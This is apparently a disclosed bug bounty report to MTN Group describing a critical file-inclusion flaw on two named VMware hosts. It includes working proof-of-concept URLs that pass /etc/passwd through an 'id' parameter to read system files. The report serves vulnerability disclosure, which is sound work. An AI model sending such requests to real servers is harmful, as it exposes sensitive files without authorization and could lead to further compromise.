MTN Group · Report #1069105
2x Remote file inclusion within your VMware Instances
Validstatus
criticalseverity
16upvotes
19 Aug 2021disclosed
How it was found
Summary:
2x Remote file inclusion within your VMware Instances
Hosts:
nmc.vc.mtn.co.ug h28a.n1.ips.mtn.co.ug
Steps To Reproduce:
Navigate to the URLs given below, /etc/passwd will be displayed.
https://nmc.vc.mtn.co.ug/eam/vib?id=/etc/passwd https://h28a.n1.ips.mtn.co.ug/eam/vib?id=/etc/passwd
Impact
An attacker is able to view sensitive files on the server hosting this content and could potentially elevate this to a remote code execution.